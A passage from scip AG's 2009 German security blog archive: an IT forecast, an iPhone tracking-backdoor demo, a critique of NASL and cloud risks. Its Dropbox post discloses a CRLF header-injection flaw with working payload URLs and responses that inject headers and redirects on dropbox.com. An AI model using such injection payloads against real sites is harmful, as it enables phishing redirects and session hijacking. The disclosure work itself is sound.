scip AG

Labs: Archiv 2009

Inhaltsverzeichnis

• 28.12.2009 – scip IT Security Forecast 2010
• 17.12.2009 – iPhone Backdoor GPS Tracking Video
• 14.12.2009 – Dropbox.com – Probleme mit HTTP Header Injection
• 11.12.2009 – Bevorzugte Programmiersprachen für Exploits
• 04.12.2009 – Kritik an Nessus Attack Scripting Language
• 27.11.2009 – 10 sicherheitsrelevante Gründe gegen Cloud Computing
• 20.11.2009 – Geschlechtsspezifische Passwortunsicherheiten
• 13.11.2009 – HTTP-Header Zeilen bei GET-Requests
• 06.11.2009 – Software Restriction: How to Make and how to Break
• 30.10.2009 – HTTP-Header erwartete Grösse von GET-Requests
• 27.10.2009 – Grundlegende Javascript Malware Analyse: Ein Beispiel
• 23.10.2009 – Verteilte Orchestrierung eines Backdoors
• 16.10.2009 – HTTP-Header erwartete Anzahl Zeilen
• 09.10.2009 – Kommentar zu Content Security Policy
• 02.10.2009 – Backdoor Testing optimieren
• 25.09.2009 – Security Scanner Design am Beispiel von httprecon
• 18.09.2009 – Skype-Trojaner von Megapanzer – Eine Analyse
• 11.09.2009 – Mail Message-Id Fingerprinting Implementation
• 04.09.2009 – Browser Fingerprinting mit Ajax
• 28.08.2009 – LotusScript und seine Gefahren
• 21.08.2009 – PHP-Performance bei Inkrementierungen
• 14.08.2009 – Qualys Scans: Eine kritische Betrachtung
• 07.08.2009 – Erweiterte Zugriffsrechte durch Googlebot
• 31.07.2009 – Hinweis auf und Gefahr durch Word Makro
• 24.07.2009 – PDF Document Properties Parsing Probleme
• 17.07.2009 – Mail Message-Id Fingerprinting
• 10.07.2009 – Browser Fingerprinting anhand GET Queue: Erste Resultate
• 03.07.2009 – Automatisiertes Document Properties Profiling
• 26.06.2009 – Instabile und unzuverlässige Skype API
• 17.06.2009 – Xdoor – Unsere Ajax-basierte Backdoor
• 11.06.2009 – MSN Bot mit sonderbaren Anfragen
• 04.06.2009 – Keyboard Sniffing mit Keykeriki
• 29.05.2009 – Browser Fingerprinting anhand GET Queue
• 05.05.2009 – Veröffentlichung von "Vulnerable Web Application Enumeration"

► 28.12.2009 – scip IT Security Forecast 2010

Wie jedes Jahr möchten wir auch zum Ende von 2009 einen IT Security Forecast für das kommende Jahr 2010 machen. Nachfolgend eben jene Themen – nach Möglichkeiten in der Reihenfolge absteigender Priorität -, die sich unseres Erachtens manifestieren oder gar noch weiterentwickeln werden:

• Cloud Computing: Die Jahre 2010 und 2011 werden voraussichtlich ganz im Zeichen von Cloud Computing (SaaS) stehen. Schon im Q4 2009 konnte ein signifikanter Anstieg des Themas bei Herstellern, Nachrichtenportalen und Blogs beobachtet werden. Die Sicherheit verteilter dynamischer Systeme wird eine grosse Rolle bei zukünftigen Entwicklungen und Projekten spielen. ⇒ Der Markt für Cloud Computing ist laut Google Trends noch immer im Wachstum.

• Virtualisierung: Die Virtualisierung hat langsam ihren (ersten) Höhepunkt erreicht. Die meisten Unternehmen setzen mittlerweile nach Möglichkeiten virtuelle Systeme (Betriebssysteme und VLAN) ein, um Kosten zu sparen. Dieser Effekt wird das kommende Jahr noch optimiert werden, bis so manches Unternehmen zu grossen Teilen mit virtuellen Lösungen agiert. Uns sind mittlerweile drei Schweizer Banken bekannt, die diesen Schritt vollzogen haben. ⇒ Viele unserer Kunden haben Virtualisierung mittlerweile vorbehaltlos akzeptiert.

• Mobile Security: Im Rahmen unserer Projektarbeiten konnten wir im 2009 eine hohe Anzahl an Projektbegleitungen (Coaching, Consulting und Reviews) bezüglich mobilen Geräten machen. Klassische Geräte wie HTC mit Windows Mobile und RIM BlackBerry müssen sich mittlerweile gegen Google Android und das iPhone von Apple behaupten. Alle Hersteller sind mehrdennje darum bemüht, eine vorherrschende Marktstellung im Corporate-Umfeld zu erlangen. Allen voran wird Apple versuchen durch ein Mehr an Business-Features (z.B. zentrales Policy Enforcement) die wohlwollende Aufnahme im Geschäftsbereich durchzusetzen. ⇒ Ein Markt für den Verkauf von Exploits für mobile Geräte wurde erstmals Ende März 2010 diskutiert.

• Social Networks: Die Popularität von Diensten wie Facebook und Twitter schien in 2009 ungebrochen. Mit der Zunahme von Benutzern und den durch sie bereitgestellten Datenmengen steigt die Anforderung an die Sicherheit. Ereignisse wie der Datendiebstahl bei StudiVZ oder die komplett überarbeiteten Privacy-Settings von Facebook haben dazu beigetragen, die Awareness zu diesem Thema bei allen Beteiligten zu stärken. Facebook, Twitter, Xing und StudiVZ werden auch im kommenden Jahr ein Thema bleiben. ⇒ Die deutsche Politik erkennt je länger je mehr die Risiken des fehlenden Datenschutzes und beginnt dagegen vorzugehen.

• Windows 7: Neben Windows ME gilt Windows Vista als unpopulärstes Windows-Betriebssystem. Die meisten Benutzer und Firmen haben Vista komplett ausgelassen und werden im kommenden Jahr direkt von Windows XP auf Windows 7 migrieren. Die Sicherheit des jüngsten Desktop-Systems wird damit in den Mittelpunkt des Interesses von Angreifern und Administratoren rücken. Exploits werden sich zunehmend auf Windows 7 konzentrieren und nur noch beiläufig die Eigenarten von XP berücksichtigen. ⇒ Diese Voraussage erschien etwa 1-2 Jahre verfrüht. Aus diesem Grund wird dieser Punkt in den Forecast 2011 übernommen werden.

• Weiterentwicklung von Cross Site Scripting: XSS als Angriffsform hat ihren Höhepunkt 2006 erreicht. Die Hersteller von Webbrowser versuchen durch clientbasierte Ansätze den Erfolg derartiger Attacken einzudämmen: Microsoft benutzt einen stringbasierten Filter und Mozilla setzt auf die CSP. Haben sich die neuen Browser-Versionen ersteinmal etabliert, wird punktuell eine evolutionäre Weiterentwicklung der XSS-Angriffstechnik (Evasion) zu beobachten sein. ⇒ Vereinzelte Researcher haben versucht neue, vor allem browserabhängige, Infektionsvektoren zu identifizieren.

• Documents Client Exploiting: Lange Zeit fokussierten sich Angriffstechniken auf die durch einen Server exponierten Dienste. Mittlerweile ist eine Umkehr zu beobachten, da immer mehr Angriffe mittels komplexen Dokumentenformaten auf Clients abzielen. Dieser Trend wird anhalten und sich vor allem auf PDF und Office-Dokumenten einpendeln. Die im Dezember diesen Jahres populär gewordenen Schwachstellen im PDF-Dokumentenformat wird uns die kommenden Monate noch begleiten. ⇒ Ein eigentlich alter Angriffsvektor, der im Rahmen unserer Tests schon lange genutzt wird, hat dem Problem des Document Exploiting Ende März 2010 grosse mediale Aufmerksamkeit beschert.

• Angriff dank FIFA World Cup 2010: Die kommende Fussballweltmeisterschaft in Südafrika wird für eine Vielzahl an Scam- und Spam-Mails sowie Malware-Infektionen und SEO-Attacken herhalten. Gerade im Vorfeld werden Fussballfans mit Gewinnspielen, Reisen und Tickets geködert werden, um Kompromittierungen voranzutreiben. ⇒ Erste PDF-Malware wurde Ende März 2010 gesichtet.

• Fake Antivirus: Die Entwickler von Schadcode haben dieses Jahr umfassend begonnen, die breitflächig wahrgenommene Gefahr vor Viren für ihre Zwecke zu nutzen. Durch das Anpreisen von Fake Antivirus Lösungen bewegen sie Benutzer dazu, ihre Malware in gutem Willen zu installieren. Derlei Lösungen werden immer professioneller und damit für den unbedarften Benutzer immer schwieriger als Fälschungen zu erkennen. ⇒ Die Möglichkeiten von Fake Antivirus sind mittlerweile so bekannt, dass jeder versucht davon zu profitieren. Google hat dieser aktuellen Gefahr eine umfassende Untersuchung gewidmet.

• Wieder mehr Scans durch Drittfirmen: Viele Kunden haben versucht mittels kommerziellen Lösungen (z.B. Qualys) einen eigenen Prozess für ein automatisiertes Vulnerability Scanning zu etablieren. Die meisten von ihnen haben gemerkt, dass dies nicht so einfach nebenher umzusetzen ist (trotzdem muss solides Knowhow aufgebaut und stetig gestärkt werden). Aus diesem Grund erwarten wir wieder eher vermehrt die Durchführung von Netzwerkscans durch externe Beratungsfirmen. ⇒ Viele Kunden haben ihre regelmässigen Re-Checks beibehalten und teilweise umfangreichere Scans (vor allem im internen Netzwerk) angesetzt.

Update 6. April 2010

Die schon eingetroffenen Voraussagen wurden mit entsprechenden Quellenangaben erweitert.

Update 28. November 2010

Die restlichen Voraussagen wurden ebenso bezüglich ihrem Eintreten erweitert. Lediglich im Fall von Windows 7 trat diese noch nicht wie erwartet ein. Sie wird in den nächstjähren Forecast übernommen.

Marc Ruef | G+ (1027 Wörter)

► 17.12.2009 – iPhone Backdoor GPS Tracking Video

Seit einigen Monaten sind wir darum bemüht, Applikationen zu verschiedenen Zwecken für das Apple iPhone zu schreiben. Im Rahmen des scip_Talk vom 2. September 2009 haben wir eingeladenen Kunden eine Backdoor für das iPhone vorgestellt. (Ein Thema, das Wochen später einen neuen Zenith in Bezug auf seine Popularität erreichen sollte.)

Im Rahmen der Präsentation haben wir eine Demonstration dieser Hintertür – die kein Jailbreak erfordert – vorgetragen. Im gezeigten Video kann gesehen werden, wie durch eine eingeschleuste Applikation fortwährend der aktuelle Standort des kompromittierten Geräts übermittelt werden kann. Sowohl in Echtzeit als auch als Aufzeichnung lässt sich über die GPS-Daten die Bewegung des Benutzers einsehen. Andere Funktionen, wie zum Beispiel das Mithören von Telefonaten, sind ebenso machbar.

Das Video dieser geschlossenen Veranstaltung wurde nun ebenfalls auf YouTube öffentlich gemacht. Es ist zu sehen, wie alle fünf Minuten der aktuelle Standort durch das mobile Gerät übermittelt und auf der Karte dargestellt wird.

Technische Informationen zur Umsetzung korrupten Programmcodes für das iPhone sowie andere Geräte werden in Zukunft durch uns veröffentlicht werden. Ebenso werden wir in den kommenden Wochen Details zu einer Backdoor für HTC-Geräte mit Windows Mobile publik machen.

Stefan Friedli | G+ und Marc Ruef | G+ (283 Wörter)

► 14.12.2009 – Dropbox.com – Probleme mit HTTP Header Injection

Dropbox ist ein Programm für die Betriebssysteme Mac OS X, iPhone OS, Linux und Microsoft Windows. Sein Zweck ist die Synchronisation von Daten zwischen verschiedenen Rechnern und Benutzern, sowie das einfache zur Verfügung stellen von Bildern und anderen Dateien. [Source: Wikipedia ]

Dropbox ist ein gutes Beispiel dafür, dass Cloud Computing mit relativ einfachen Mitteln durchaus nützliche Anwendungen schaffen kann. Die Möglichkeit, Daten über verschiedene Systeme hinweg synchron zu halten, ist nicht neu, wird hier aber auf simple, leicht zu implementierende Mechanismen ermöglicht.

Auch wenn der Einsatz von Dropbox für sensitive Daten nicht zur Diskussion steht, so bietet es als Medium für non-sensitive Daten durchaus seinen Reiz. Doch letzten Endes stellt sich natürlich die Frage der Sicherheit: Cloud Computing heisst ja letzten Endes nichts anderes, als Daten irgendwo am Ende der Welt auf einem System zu speichern, dessen Interna man kaum bis gar nicht kennt. Dropbox ist sich dieses Problems natürlich durchaus bewusst und schreibt daher in seiner FAQ zum Thema Sicherheit:

Nobody can see your private files in Dropbox unless you deliberately invite them or put them in your Public folder. Everything in your Public folder is, by definition, accessible to anyone. Otherwise, the only way to access the files in your Dropbox online is with your username and password.

Wird Dropbox verwendet, so gibt es verschiedene Möglichkeiten auf Daten zuzugreifen. Die einfachste und gleichzeitig eleganteste ist es, den jeweiligen Client auf dem System zu installieren und ihn mit dem eigenen Dropbox-Account zu verknüpfen. Die Client-Software erstellt daraufhin ein lokales Folder im OS-spezifischen Dokumente-Verzeichnis, in dem die Daten synchron gehalten werden. Ausserdem wird eine Shell Extension installiert, die gewisse Modifikationen und Aktionen über das Kontextmenü zulässt, wie zum Beispiel die Einsicht in ältere Versionen des Dokumentes oder der Zugriff auf Daten im Webinterface.

Will ein Benutzer, aus welchen Gründen auch immer, ein Dropbox-Verzeichnis statt über seinen lokalen Dateimanager lieber über das Webinterface auf dropbox.com steuern, so bieten sich ihm zwei Möglichkeiten: Er öffnet seinen Webbrowser, ruft dropbox.com auf, authentisiert sich und erhält so seinen Zugang. Oder: Er wählt das Verzeichnis auf und wählt die Option “Browse on Dropbox Website”, der Client generiert eine Authentisierungs-URL und das Verzeichnis öffnet sich direkt im Webbrowser.

Bei der letzteren Variante, wird die Authentisierung durch den Dropbox-Client automatisiert durchgeführt. Die aufgerufene URL ähnelt der nachfolgenden:

https://www.dropbox.com/tray_login?i=372832&t=1260625705&v=f1a9afcb67f2372780f3893d170de164f070cb84&url=c%2Fbrowse%2FPhotos%3Fns_id%3D711010

Ersetzen wir die Parameter durch Platzhalter, die ihren vermuteten Nutzen wiederspiegeln, so erhalten wir:

https://www.dropbox.com/tray_login?i={Dropbox ID}&t={Timestamp}&v={Verification String}&url={Whatever Directory you want to access}

Der Browser sendet also Authentisierungsdaten, gemeinsam mit einem Timestamp und dem Pfad des gewünschten Zielverzeichnisses an den Dropbox Server. Dieser verarbeitet diese Information nun und stellt – sofern alles geklappt hat – die entsprechenden Cookies zur Verfügung, die den Browser eine authentisierte Session ermöglichen. Ausserdem wird der Browser durch einen Location: Header direkt auf die gewünschte Zielressource weitergeleitet, die ja per uri-Parameter mitgegeben werden.

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 13:48:26 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: lid=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumjar=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: taste=YADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: jar=YADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: touch=YADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumlid=YADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
location: /c/browse/Photos?ns_id=711010
pragma: no-cache
cache-control: no-cache
Content-length: 324
(...)

Betrachten wir die Ausgabe, so fällt auf, dass der Wert des uri-Parameters direkt innerhalb des Location-Headers zu verwendet werden scheint. Wird dieser Wert nicht sauber verifiziert, ergibt sich daraus möglicherweise eine Schwachstelle. Überprüfen können wir dies zum Beispiel, in dem wir versuchen einen weiteren Header einzufügen, wie zum Beispiel über die nachfolgende URI, bei dem ein Zeilenumbruch (CRLF) und einen optionalen Header hinzufügen:

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aX-AllYourBase:%20Are%20belong%20to%20us

Der Aufruf dieser URI führt zu folgendem Ergebnissen:

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:04:52 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
X-AllYourBase: Are belong to us
pragma: no-cache
cache-control: no-cache
Content-length: 348

Tatsächlich wird serverseitig keine solide Validierung des Parameters uri durchgeführt. Dadurch können wir, mit dem vorgängig gezeigten Verfahren, beliebige HTTP Header im Anschluss an den Location Header injizieren. Dadurch, dass wir unsere eigenen Header nach der originalen Location-Zeile platzieren, können wir zum Beispiel beliebige Redirects vornehmen:

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aLocation:%20http://www.scip.ch

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:10:50 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
Location: http://www.scip.ch
pragma: no-cache
cache-control: no-cache
Content-length: 342

Derartige Angriffe werden häufig zu Phishing Zwecken eingesetzt, um über eine vertrauenswürdige URI (http://www.dropbox.com/...) bösartige Inhalte zu verteilen. So könnte zum Beispiel auf eine gefälschte Loginseite verwiesen werden, um in den Besitz von Authentisierungsdaten zu kommen. Auch ein Redirect auf Schadcode, zum Beispiel getarnt mit einem Namen wie DropboxUpdate_1_2.exe wäre eine mögliche Variante, mit dieser Schwachstelle auf einfachem Wege Schaden anzurichten.

Doch Redirects sind nicht alles, was sich mit einer derartigen HTTP Header Injection bewerkstelligen liesse. Über eine HTTP Response Splitting Attacke könnte eine zweite HTTP Response angehängt werden, durch die der Angreifer beliebigen Code im Kontext von www.dropbox.com zur Ausführung bringen kann. Auch diese Variante wäre zum Zwecke von Phishingangriffen denkbar, aber auch klassisches Exploiting und Session Hijacking wäre in diesem Kontext sicherlich eine denkbare Variante.

Dropbox wurde über die Schwachstelle informiert und ist um die Schliessung der serverseitigen Schwachstelle bemüht. Bis zu diesem Zeitpunkt sei empfohlen, Sessions auf dropbox.com zeitnah nach der Benutzung zu terminieren und im Hinblick auf dahingehende Links vorsichtig zu agieren.

Stefan Friedli | G+ (1103 Wörter)

► 11.12.2009 – Bevorzugte Programmiersprachen für Exploits

Gemeinhin wird unter einem Exploit ein Stück Software verstanden, das für die automatisierte oder semi-automatisierte Ausnutzung einer Sicherheitslücke genutzt werden kann. Im einfachsten Fall wird beispielsweise die IP-Adresse des Zielsystems angegeben und auf diesem durch die angegangene Sicherheitslücke erweiterte Rechte erlangt.

Durch eine statistische Auswertung aktueller Standalone-Exploits sollten Rückschlüsse auf bevorzugte Programmiersprachen gezogen werden. Hierzu wurden die ersten 9’500 Exploits, welche auf der populären Webseite milw0rm.com veröffentlicht wurden (der vermeintliche Tod von str0ke war zum Glück nur ein Hoax), untersucht.

Obenstehende Grafik zeigt die Verteilung der Popularität der einzelnen Programmiersprachen auf. Hierbei ist zu sehen, dass in ANSI C geschriebene Exploits mit 33.66% den ersten Platz belegen. Dicht gefolgt mit 30.01% von in Perl umgesetzten Exploits. Die Popularität dieser klassischen Sprachen ist noch immer – gerade im Security-Bereich – anhaltend. Viele klassische Exploits wurden damit umgesetzt und damit das Verständnis für diese Sprache fest verankert.

Auf Platz drei folgt mit 14.23% – also schon ein bisschen abgeschlagen – die eigentlich eher unerwartete Sprache PHP. Sie wird vorzugsweise im Webbereich eingesetzt und geniesst keinen sonderlich guten Ruf. Immerwieder wird ihr von vermeintlichen “Experten” angedichtet, per se zu Sicherheitslücken zu neigen. Die dann doch überdurchschnittlich hohe Popularität im Exploiting-Bereich dürfte mitunter auf die Einfachheit der Sprache dank der Vielzahl bereitgestellter Funktionen zurückzuführen sein.

Abgesehen von HTML als Seitenbeschreibungssprache scheint die restliche Wahl der Programmiersprachen effektiv den Vorlieben der jeweiligen Entwickler zu unterliegen. So ist absehbar, dass Ruby auf Grund seiner Eleganz mittelfristig in die Top 5 kommen wird. Ruby ist sowieso ein Sonderfall, da seit MetaSploit 3.0 sowohl der Core als auch die Exploit-Module in dieser Sprache geschrieben werden und damit einem breiten Publikum die Vorteile im Exploiting-Bereich nähergebracht wurde. In einem Blog-Beitrag des Projekts wird es gar als die bis dato umfassendste Ruby-Entwicklung bezeichnet:

After all, msf is far and away the biggest ruby project on the planet. HD has done an excellent job with the new module format to reduce that initial overhead (...)

Sprachen wie Java, LISP und Pascal scheinen sich hingegen wegen ihrer Schwerfälligkeit oder den veralteten Konzepten nicht für Entwicklungen auf diesem Gebiet anzubieten. Die Seitenbeschreibungssprache HTML ist dann auch ein Sonderfall, denn ihr Auftreten ist wohl einzig und allein auf die in Webbrowsern gefundenen Schwachstellen zurückzuführen. Das Umsetzen anderweitiger Exploits in HTML ist dann eben doch eine eher unpopuläre Ausnahme.

Marc Ruef | G+ (514 Wörter)

► 04.12.2009 – Kritik an Nessus Attack Scripting Language

Der ehemals quelloffene Vulnerability Scanner Nessus galt jahrelang als treibende Kraft für automatisierte Sicherheitsüberprüfungen. Ihm liegt die Nessus Attack Scripting Language (NASL) zu Grunde, welche für das Umsetzen der Plugins verwendet wird. Diese werden eingesetzt, um (1) Daten eines Zielsystems zu sammeln und (2) anhand dieser entsprechende Schwachstellen zu identifizieren. Dieser Beitrag will explizite Kritik an den jeweiligen Schwächen der für die Plugins genutzten Skriptsprache vortragen.

Syntax

NASL benutzt einen Syntax, der sehr stark demjenigen von C ähnelt (siehe das untenstehende Beispiel). Dies bedeutet, dass zur Entwicklung oder Anpassung eines Plugins grundlegendes Programmierwissen vorhanden sein muss. Für Einsteiger, die keine Ahnung von Programmierung haben, gestalten sich erste Gehversuche deshalb nicht sonderlich einfach.

# This is an example NASL script


	
if(description)

{
 script_version (“1.2”);
 name[“english”] = “Foo 3.1 Cross Site Scripting”;
 script_name(english:name[“english”]);

 desc[“english”] = “
   This plugin checks for the vulnerability in the Foo 3.1 server
   as described in CVE 200X-4321.

   Risk factor : High”;

 script_description(english:desc[“english”]);

 summary[“english”] = “Check for Cross Site Scripting in Bar 3.1”;
 script_summary(english:summary[“english”]);

 script_copyright(english:“This script is under GPLv3”);

 ...

 exit(0);
}

In Bezug auf die Definition der Sprache besteht das Problem, dass eine sehr einfache Sprachkonstruktion oftmals nicht die erforderliche Mächtigkeit mitzubringen in der Lage ist. NASL hat sich hier für ein mittlerweile archaisch anmutendes, aber dennoch sehr mächtiges Modell entschieden. So werden beispielsweise typische Kontrollstrukturen wie if und for sowie die altbekannten arithmetischen und Bit-Operatoren bereitgestellt.

Vermengung von Logik und Daten

Das grösste Problem von NASL als Idee ist, dass hier eine Vermengung zwischen Logik und Daten gegeben ist. So werden Informationen zu einem Test bzw. einer Schwachstelle als auch deren Prüfkonstrukte in einer Datei gespeichert. Für das ungeübte Auge wird es deshalb relativ schwer, sich in der Vielfalt der Daten zurecht zu finden. Die meisten Entwickler von Plugin verzichten darauf, ihre verhältnismässig kurzen Skripte zu dokumentieren.

Dieses grundlegende Problem des Vermischens von Logik und Daten zieht aber noch weitere Kreise. Die jeweiligen Datenfelder sind nicht oder nur teilweise direkt ansprechbar. Gerade in alten Plugins wird deren englische Beschreibung gerne in der Variable desc["english"] abgelegt. Darin sind aber oftmals gleich mehrere Informationen enthalten, wie das Beispiel von Plugin 11707 zeigt:

  desc[“english”] = “
 Your system seems to be infected by the Bugbear.B virus
 (its backdoor has been detected on port 81).


 More information: http://www.f-secure.com/v-descs/bugbear_b.shtml

 Solution: Use your favorite antivirus to disinfect your
 system. Standalone disinfection tools also exist :
 ftp://ftp.f-secure.com/anti-virus/tools/f-bugbr.zip

 Risk factor : High”;

Hier sind eine Beschreibung des Problems, ein Link zu weiterführenden Informationen, die möglichen Gegenmassnahmen und die Risikoeinstufung der Schwachstelle enthalten. Bei solchen Plugins ist es sehr schwer, auf die einzelnen Informationen zuzugreifen. Hierzu sind erweiterte reguläre Ausdrücke in den Freitextfeldern erforderlich.

Inkonsistente Entwicklungen

Jeder kann eigene NASL-Plugins schreiben und so sind viele von ihnen durch die Community in einer offenen Lizenz bereitgestellt. Dies führte jedoch dazu, dass die Homogenität der Skripte nicht durchgängig ist. Im vorangehenden Beispiel wird Risk factor (99.49% der Fall) geschrieben, an anderen Stellen wird Risk Factor (0.51% der Fall) verwendet. Oder manchmal werden doppelte Anführungszeichen, manchmal aber auch nur einfache Anführungszeichen verwendet. Ein Parsing mit regulären Ausdrücken erfordert das Berücksichtigen einer schier unendlichen Zahl an Variationen des gleichen Konstrukts.

Dies wird noch zusätzlich erschwert, indem für manche Daten gänzlich unterschiedliche Konstrukte eingesetzt werden können. Neuere Plugins verwenden zum Beispiel die Funktion script_set_attribute() mit dem Argument risk_factor, um das Risiko auszuweisen. Zur Definition der Beschreibung einer Schwachstelle können gar drei unterschiedliche Standardmethoden verwendet werden (natürlich lassen sich auch noch eigene Konstrukte realisieren, wie zum Beispiel in Plugin 10718):

Vermengung von Daten und Layout

Das explizite Einfügen von Whitespaces hat einen ähnlichen Effekt. Dies betrifft nicht nur Konstrukte der Skriptsprache, sondern ebenfalls die jeweiligen Daten selber. So wird oftmals mit manuellen Einrückungen (Leerzeichen/Tabs) oder neuen Zeilen (\n) gearbeitet, wie zum Beispiel Plugin 42120 illustriert:

script_set_attribute(
     attribute:"description",
     value:string(
       "The version of Adobe Reader installed on the remote host is earlier\n",
       "than 9.2 / 8.1.7 / 7.1.4.  Such versions are potentially affected by\n",
       "multiple vulnerabilities :\n",
       "\n",
       "  - A heap overflow vulnerability. (CVE-2009-3459)\n",
       "\n",
       "  - A memory corruption issue. (CVE-2009-2985)\n",
       (...)

Eine erneute Vermengung zwischen Daten und Layout, die einfach nicht mehr zeitgemäss ist. So erfordert es zusätzliche Arbeit, aus den extrahierten Daten die Layoutdefinitionen zu entfernen, um ein eigenes Layout (z.B. eine individuelle Zeilenbreite oder ein anderes Verhalten für Absätze und Listen) durchzusetzen.

Fazit

NASL hat definitiv konzeptionelle Schwachstellen, die eine effiziente Weiterentwicklung der Plugins massgeblich erschwert. Viele Dinge sind nicht, nur mit erheblichem Aufwand oder gar Glück möglich. In der jetzigen Version ist NASL langfristig zum Scheitern verurteilt. Es täte besser, wenn Logik, Daten und Layout voneinander getrennt werden. Hierzu bietet sich XML oder JSON als Container-Format an.

In ihren Release-Notes zu Nessus 4.2 weist Tenable Security darauf hin, dass man für die neue Version und das neu eingeführte .nessus Format die jeweiligen Plugins überarbeitet, optimiert und vereinheitlicht hat – Ein richtiger Schritt in die richtige Richtung:

All plugins have been converted to a new registration API splitting the different labels (synopsis, description, solution, etc. are split into different calls, which is needed for the new .nessus format). (...) Over 99.9% of plugins now (...) use a new format for consistency and easier parsing.

Der Einsatz einer relationalen Datenbank wäre, auch wenn es die Komplexität von Nessus einmal mehr erhöhen würde, eine Vielzahl an Vorteilen mit sich bringen. Das Filtern und Sortieren von Plugins wäre bedeutend einfacher und zuverlässiger. Bei professionellen Sicherheitsüberprüfungen können solche Möglichkeiten von massgeblicher Wichtigkeit sein.

Marc Ruef | G+ (1041 Wörter)

► 27.11.2009 – 10 sicherheitsrelevante Gründe gegen Cloud Computing

Im Zuge der anhaltenden Virtualisierung der letzten 10 Jahre bekam ein artverwandtes – aber nicht zwingend neues – Thema immer mehr Aufmerksamkeit: Cloud Computing. Forrester Research fasst das Prinzip dieses Konzepts (es handelt sich nicht um eine Software oder ein Produkt als solches) wie folgt zusammen (Inquiry Spotlight: Cloud Computing, Q2 2009):

Cloud Computing steht für einen Pool aus abstrahierter, hochskalierbarer und verwalteter IT-Infrastruktur, die Kundenanwendungen vorhält und falls erforderlich nach Gebrauch abgerechnet werden kann.

Modularität ist ein wichtiger Aspekt von Cloud Computing. Denn nur dadurch kann die transparente Abstrahierung und dynamische Skalierbarkeit – die mittlerweile auch von Botnet-Betreibern und Crackern entdeckt wurde – erlangt werden. Im Rahmen von Cloud Computing werden jedoch grundlegende Risiken aufgetan, die im Zuge wirtschaftlicher Aspekte gerne abgewiegelt oder gänzlich ignoriert werden:

1. Fehlende Transparenz: Durch die Abstrahierung wird es für einen Kunden nicht mehr möglich zu erkennen, wo sich seine Daten genau befinden und wie mit diesen umgegangen wird. Branchenspezifische Anforderungen an Sicherheitsüberprüfungen werden nur sehr schwer umsetzbar. Damit wird die Grundlage für alle weiter genannten Probleme geschaffen. Dieser Aspekt wird massgeblich dem bis dato umfangreichsten Kreditkartenrückruf angelastet.
2. Vermengung von Kunden/Diensten/Daten: Durch das Teilen von Ressourcen findet eine Vermengung von Kunden, Diensten und Daten statt, wodurch ungleich klassifizierte Assets in gleicher Weise behandelt werden. Verliert ein Asset seine Integrität, kann sich dies unmittelbar auf die anderen Assets auswirken. Beteuerungen eines Anbieters, einen sicheren und geschützten Umgang der Daten durchzusetzen, können oftmals auf Grund der fehlenden Transparenz nicht verifiziert werden.
3. Verlust der Kontrolle über Daten/Prozesse: Die fehlende Transparenz und das Teilen der Ressourcen führen dazu, dass ein Verlust über die Nutzdaten und Aktivitäten stattfindet. Ein Anbieter könnte diese unerlaubt selbst weiterverwenden oder an einen Mitbewerber oder eine Behörde weiterreichen. Dies ist das zentrale Argument, welches Whitfield Diffie in einem Interview mit Technology Review anführt.
4. Abhängigkeit vom Anbieter: Man ist in direkter Weise vom Angebot und der Qualität des Dienstleisters abhängig. Ausfälle des Dienstes können sich als sofortige Einbusse der Produktivität auswirken (siehe den Datenverlust des Sidekick-Dienstes im Oktober 2009; heise online, fefe).
5. Schwierigkeit von Backups: Das Erstellen von Backups könnte massgeblich erschwert sein. Nur mit erheblichem Aufwand lassen sich diese selbstständig umsetzen. Will man diesen nicht in Kauf nehmen, ist man bezüglich derer erneut vom Anbieter abhängig. Die kompetente Umsetzung dieses Prozesses sowie unter Einhaltung branchen-/unternehmensspezifischer Vorhaben lässt sich oftmals nur schwer durchsetzen.
6. Schwierigkeit bei Migration: Durch komplexe Abhängigkeiten und Inkompatibilitäten kann ein Wechsel zu einem anderen Anbieter nur mit sehr viel Aufwand möglich sein. Die Abhängigkeit zum Partner führt eine ständige Trägheit mit sich. Bei Differenzen in der Zusammenarbeit ist man lange Zeit der Willkür des Partners unterworfen.
7. Juristische Konflikte bezüglich Datenschutz: Es ist denkbar, dass sich eine Cloud über verschiedene Länder erstreckt. Diese können ihrerseits unterschiedliche Rechtsgrundlagen aufweisen. Durch ein dynamisches Verteilen eines Dienstes ins Ausland können juristische Probleme auftreten (z.B. bei Exportverbot oder bezüglich Datenschutz). Amazon versucht diesem Problem auf technischer Ebene mit den Availability Zones und Finjan mit Vital Cloud Herr zu werden.
8. Juristische Eigenverantwortung: Ein Unternehmen kann sich durch das Auslagern von Daten und Prozessen nicht gänzlich von der Eigenverantwortung lossprechen. Selbst eine strukturierte Evaluation und Prüfung des Partners sowie eine solide vertragliche Vereinbarung lassen ein derartiges Abtreten von Verantwortung nicht zu.
